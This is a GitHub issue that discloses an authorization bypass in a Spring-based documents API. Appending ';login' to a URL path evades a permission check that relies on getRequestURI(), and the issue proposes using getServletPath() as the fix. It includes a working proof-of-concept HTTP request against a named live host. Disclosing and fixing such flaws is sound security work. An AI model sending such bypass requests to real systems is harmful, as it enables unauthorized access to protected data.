Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Permission bypass can lead to unauthorized access #30

Open
Redpeppersir opened this issue Nov 3, 2024 · 0 comments
Open

Permission bypass can lead to unauthorized access #30

Redpeppersir opened this issue Nov 3, 2024 · 0 comments

Comments

@Redpeppersir
Copy link

Vulnerability Description: The Spring routing parser ignores any content after ; in the URL (e.g., /;login) when looking up routes, but request.getRequestURI() retrieves the full URI path. This can lead to permission bypasses and unauthorized operations.
Fix Proposal: Use request.getServletPath() to obtain the path.
/api/v1.0/statistics/recentDocs/;login

image

GET /api/v1.0/statistics/recentDocs/;login HTTP/1.1
Host: alldocs.tech
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: eyJhbGciO
Username: admin123
Referer: https://alldocs.tech/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant